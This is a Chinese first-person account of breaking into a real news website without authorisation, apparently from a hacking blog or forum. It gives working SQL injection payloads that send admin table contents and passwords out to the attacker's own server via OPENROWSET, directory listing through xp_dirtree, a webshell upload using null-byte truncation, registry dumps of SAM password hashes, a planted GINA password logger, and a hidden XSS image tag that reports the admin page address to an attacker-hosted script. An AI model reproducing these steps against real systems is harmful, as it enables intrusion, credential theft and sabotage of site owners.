一日,朋友发过来一个URL,让拿SHELL,打开一看,是一个新闻站点。
乍一看去,全部都是HTML的静态页面,估计又是类似CMS的程序吧,只有后台是动态的,前台全部都是生成的静态页面。于是抄起WWWSCAN开始扫目录,看看能不能扫出个上传点什么的,因为字典比较多,WWWSCAN扫的时间比较长,所以我同时开始在GOOGLE上面查找注射点。利用site:www.xxxxxx.com inurl:asp ,来查找所有的ASP文件,然后一个一个去测试。测试过程中,发现整站用到了防注入程序,而且有的地方单独用到了isnumeric之类的函数进行了判断。经过长时间的手工检测,终于在一个新闻评论页面,找到了一个insert射点。在发表评论的地方,输入一个单引号“’”,报错了.
从报错信息可以得知为SQL SERVER数据库。
输入两个单引号“’’”:
页面返回正常,这里很可能是一个射点。
经过测试,发现下面的语句可以成功注入:
“’,1,1,1)–sp_password”
在文本框中输入上面的语句,评论成功发出,没有出错。确定这是一个射点。但由于是insert注射,利用起来比较恶心,因为values子句里面不允许任何的select,所以要想暴出数据,只能用OPENROWSET之类的手法将数据回传到本地了。这是后话,注射之前我们需要先确定SQL SERVER的版本,当前用户的权限,当前数据库名,以及是否站库分离了。
依次提交下面的语句:
- “’,cast(@@version as int),1,1)– sp_password”,得到版本信息 “Microsoft SQL Server 2000 – 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)”,数据库为SQL SERVER 2K
- “’,cast(system_user as int),1,1)– sp_password”,得到当前数据库的连接用户名“myxxxxxxer”,不是SA呵呵。
- “’,cast(ltrim(is_srvrolemember(‘sysadmin’))+’a’ as int),1,1)–sp_password”,返回“将 varchar 值 ’0a’ 转换为数据类型为 int 的列时发生语法错误”,说明当前用户不是sysadmin角色组成员。
- “’,cast(ltrim(is_member(‘db_owner’))+’a’ as int),1,1)–sp_password”,返回“将 varchar 值 ’0a’ 转换为数据类型为 int 的列时发生语法错误”,也不是db_owner角色组成员,郁闷了,看来是PUBLIC。
- “’,cast(ltrim(is_member(‘public’))+’a’ as int),1,1)–sp_password”,返回“将 varchar 值 ’1a’ 转换为数据类型为 int 的列时发生语法错误。”,看来权限只是PUBLIC。
- “’,cast(@@servername+’|'+host_name() as int),1,1)–sp_password”,返回“将 nvarchar 值 ‘GNRB-ZGGZW|XXXXXX’ 转换为数据类型为 int 的列时发生语法错误”,还是站库分离的。
- “’,cast(db_name() as int),1,1)–sp_password”,得知数据库名为“365NEWS”
现在的情况就是一个PUBLIC权限的2K数据库射点,而且站库分离。先想到的就是OPENROWSET转发回数据然后进后台拿WEBSHELL。
这时WWWSCAN也已经扫描完成了,但很郁闷的是没有扫到后台地址。汗了。先不管它了,先看看数据库里面的数据,没准表里面会保存着一些地址呢。
先看看数据库能否连接外网,在本地用NC监听一下80端口,然后在射点执行:“’,1,1,1);insert into OPENROWSET(‘SQLOLEDB’,’222.35.xxx.xx,80′;’xxx’;'xxx’,'SELECT 1′) select 1–sp_password”
马上NC有反应了,同时也拿到了数据库服务器的IP。
于是在本地架好一个SQL SERVER,然后在本地的PUBS库里面先执行下面的语句,来创建一个表,此表用于接收服务器回传回来的数据:
Create table op (value varchar(8000))
然后在射点提交:
“’,1,1,1);insert into OPENROWSET(‘SQLOLEDB’,’222.35.xxx.xx’;'test’;’123456′,’SELECT [value] FROM pubs..op’) select name from sysobjects where xtype=’u'–sp_password”
再在本地select * from op,得到了库里面所有的表名。值得关注的是admin adminmsg users这三个表,其它表里面全是一些没用的数据。
再提交
“’,1,1,1);insert into OPENROWSET(‘SQLOLEDB’,’222.35.xxx.xx’;'test’;’123456′,’SELECT [value] FROM pubs..op’) select [name] from syscolumns where id = object_id(‘admin’)–sp_password”
并用类似的方法得到了admin adminmsg users这三个表的所有字段名。
再提交
“’,1,1,1);insert into OPENROWSET(‘SQLOLEDB’,’222.35.xxx.xx’;'test’;’123456′,’SELECT [value] FROM pubs..op’) select [username]+’|’+[password] from admin–sp_password”
用类似的方法得到了admin 与 users表里面的值,全都是账号密码,但是现在它们也没有什么作用,因为没有后台,而且密码MD5加密的,好多都破不开。
如何查找后台是一个问题,这里的adminmsg是一个值得注意的表,从表名就可以看出来,这里面保存的应该是管理员发送的消息,应该是后台有一个用于管理人员交流的功能,所有的消息都会存在这个表里面。
里面没准会有一些敏感的东西呢?
先利用
“’,1,1,1);insert into OPENROWSET(‘SQLOLEDB’,’222.35.xxx.xx’;'test’;’123456′,’SELECT [value] FROM pubs..op’) select count(*) from adminmsg–sp_password”
查看了一下消息的条数,有一千多条啊,这要全发回来脚本可能会执行超时的。
于是LIKE进行模糊查询,提交
“’,1,1,1);insert into OPENROWSET(‘SQLOLEDB’,’222.35.xxx.xx’;’test’;’123456’,’SELECT [value] FROM
pubs..op’) select top 100 cast(msgContent as varchar(8000)) from adminmsg where msgContent like
‘%后台地址%’–”
然后不停地变换查询关键字,从adminmsg表里面获取敏感数据,尝试了“后台”,“密码”,“admin”,“login.asp”,“upfile”,“upload”等关键字,确实从此表里面获取了一些数据,如下图:
查出来了一些后台管理地址,但这些地址,全是分站的,而且大多要么已经失效,要么就是进去后什么功能都没有的那种。这下郁闷了呃。
直接入主站不行,那看看能不能拿下数据库服务器吧,刚才在数据回发的时候已经拿到库服务器的IP了,NMAP扫了一下发现开了80,拿到查旁注的站上去查,发现一个分站就位于数据库服务器上。先拿下这个分站的SHELL再说。
先在本地的PUBS库里面执行
“create table dir(n varchar(200),d int,f int);”
提交下面的语句开始列目录 ,想看看有没有分站上有没有什么可以利用的文件:
“’,1,1,1);create table #dir(n varchar(200),d int,f int);insert into #dir exec master..xp_dirtree
‘c:\’,1,1;insert into OPENROWSET(‘SQLOLEDB’,’222.35.xxx.xx’;’test’;’123456’,’SELECT * FROM
pubs..dir’) select * from #dir;drop table #dir–sp_password”
列了老半天,总算找到了一个ASP格式的ACCESS数据库,然后找到一个对数据库进行写操作的页面,写了一句话进去 ,成功拿到WEBSHELL,提权比较简单,进去后直接360EXP,拿到了服务器:
拿到数据库服务器以后才发现跟主站不是同一网段,想嗅探都不成了。
于是乎先收集一下库服务器上的信息。
服务器上面装了PCANYWHERE,找到了两个CIF文件,得到了两个密码,而且貌似主站也开了PCANYWHERE的,试了一下,用其中一个CIF的密码成功连上,但是主站服务器处于锁定状态,没办法。
继续在库服务器上收集信息。但是这服务器好像比较干净啊,除了一大把ASP跟HTML外,其它的什么都没有。
服务器上面装了MCAFEE了,上传PWDUMP之类的东西全都被杀了,MCAFEE没有密码也停不掉。
只能手动抓HASH了,利用下面的代码:
reg save hklm\sam sam.hive
reg save hklm\system system.hive
reg save hklm\security security.hive
导出了注册表中的HASH信息,然后将这三个文件下载回了本地,导入CAIN,得到了库服务器上的HASH:
但是几个管理员组的账号的HASH全部都是ADD3,破解不了啊。得到了其它几个账号的明文密码,再结合数据库里面保存的一些后台密码,再去尝试登陆主站的服务器,结果仍然是失败。
只能种个GINA然后等管理员登陆了,由于MCAFEE的原因,手上的GINA不是被杀,就是其它的原因而种不上。最后在论坛里面找到了LZX写的一个GINA,成功种上去了。然后静静地等管理员登陆。
结果等了四五天都不见登陆,我给他们发邮件提醒他们服务器被入侵了,他们都不搭理,我汗。
于是我连上库服务器的SQL SERVER,把admin 与 users这两个表的所有用户的select权限与update权限都给他去掉了。如下图:
这下主站后台应该就不能登陆了吧, 想登陆你们就上服务器来找原因吧。
这招果然有效呵呵,等了大概有三四个小时吧,管理员登陆了服务器,成功记到了一个22位的纯数字密码,是两个手机号的组合。拿着这个两个手机号再次冲向主站服务器,又失败了。变换着跟以前的那些密码组合了一下,还是不行。 思路到这里就卡住了,不知道该怎么继续了。
就这样大概过了有十几天吧,还是决定再看看。
这时新的思路又有了,其实只要找到了主站的后台,会比现在好办很多,关键是后台怎么找呢。
我又想到了那个adminmsg表,这个表是用于保存后台人员交流的信息的。
那如果后台没有对XSS进行有效的防御的话会如何呢?我们是不是可以通过在这个表里面插入XSS代码,来得到后台的地址?试试就知道了。
先新建一个ASP文件,代码如下:
<%@LANGUAGE=”VBSCRIPT” CODEPAGE=”65001″%>
<%
dim fso,mytextfile
set fso =Server.CreateObject(“Scripting.FileSystemObject”)
set mytextfile=fso.opentextfile(server.mappath(“result.txt”),8,true)
mytextfile.WriteLine “referer:” & request.ServerVariables(“HTTP_REFERER”)
mytextfile.close
%>
代码的主要作用就是将REFERER记录到result.txt文件里面。
将此ASP保存为ref.asp并上传到自己的空间里,然后向adminmsg表里面插 入一条消息,内容就是:
<img src=”http://www.xx.com/ref.asp” style=”display:none”/>
然后就是等了。。
过了大概两三个小时吧,result.txt里面有记录了:
HOHO,记到地址喽。直接访问这个记录到的地址,并没有像我相像中的那样提示权限不足然后跳转到登陆页面,它是直接跳回网站的主页了,汗。
但是我们知道了后台目录为 /news/SYSOP/,拿这个目录放到WWWSCAN里面去扫后台的登陆页面。
还是没有扫出来,只扫到chklogin.asp与md5.asp跟几个无关的图片目录。chklogin.asp,这个应该是验证登陆的页面。
实际上有没有登陆页面无所谓了,那只是一个表单而已,我们也可以自己构造的,主要是有了这个验证登陆的页面,这就好办多了。
先禁用掉FIREFOX里面的JAVASCRIPT,然后直接访问chklogin.asp,查看源代码,里面提示让输入管理账号,管理密码,并提示用户名不存在 ,后面直接提示登陆成功。我们还看到了一个main.asp,直接访问main.asp,还是跳回了网站的首页。
从上面这段chklogin.asp 的源代码里面,可以大概猜出,代码是这样写的:
if isempty(username) then
response.write “请输入管理账号”
end if
if isempty(password) then
response.write “请输入管理密码”
end if
rs.open “select xxxx from admin where username =’” & username &”‘”
if rs.eof then
response.write “此用户名不存在”
else
if md5(password) = rs(“password”) then
‘登陆成功
else
‘密码错误
end if
end if
(我不大会ASP,大概按瞎的写的。)
可以看到,在一项验证失败以后,只是做了提示,并没有进行response.end操作。
再提交chklogin.asp?username=a
再看源代码,发现“请输入管理账号”这个提示没有了,说明我们用户名参数猜对了,再来猜密码参数的名字。
提交:chklogin.asp?username=a&password=b
发现还是提示“请输入管理密码”,说明密码参数名字不对,然后一直试这个名字,最后用WVS的HTTP FUZZER配合我平时收集的数据库列名,来爆破这个参数名字,如下图:
大概穷举了300多个名字,仍然是没有暴破出来,变态啊。
再次回到那个chklogin.asp页面,根据我们上面猜测出来的代码,这个页面应该是先取得username参数,然后到表里面去查有没有指定的后台用户,如果有的话,再进行密码比较,如果没有的话,则提示用户名不存在。
而且从WWWSCAN扫出来的MD5.ASP这个页面,我们可以知道 ,密码应该用的是MD5加密存在数据库里面了。
现在数据库在我手上,我知道库里面有一个名为salen的用户,这时如果我提交:
Chklogin.asp?username=salen
这时它应该提示“请输入管理密码”,但是注意,在提示完以后,代码还是会往下执行的,因为没有response.end,所以接着执行了下面的查询,成功查询出了salen这条数据,然后会执行下面的
if md5(password) = rs(“password”) then 比较,因为我们没有提交password参数,所以这里的比较肯定是失败的。
但是,我特意从网上下载了一下md5.asp,然后在本地写了一个文件测试了一下,代码如下,保存为test.asp:
<%
Response.write md5(request(“a”))
%>
将a参数进行md5加密,这时我访问test.asp,不加a这个参数,结果输出的md5值为:8f00b204e9800998
再回到chklogin.asp,因为我们在访问chklogin.asp的时候没有传密码这个参数,所以md5(password)计算出来的值肯定也是8f00b204e9800998 ,这时我们只要让数据库里面salen这个用户的密码MD5也是这个值不就可以成功登陆了么?
试了一下,将salen这个用户的MD5改成了8f00b204e9800998
然后直接访问:
Chklogin.asp?username=salen
这时它仍然会提示请输入管理密码,不要管它,直接访问main.asp,成功:
总算进到主站的后台了,登陆进去后马上又将salen的md5给他还原了。
在后台里面转悠,找拿SHELL的方法。
发现一个上传的页面,右键看了一下源代码:
发现可以自定义保存路径的,这下拿SHELL应该不成问题了,\0截断,传了一个SHELL上去,这里就不废话了。
拿到SHELL后看了一下chklogin.asp的代码,果然跟我猜的差不多。
本来还想提权的,结果发现权限限制的比较死,我是提不上去了,就这么算了吧。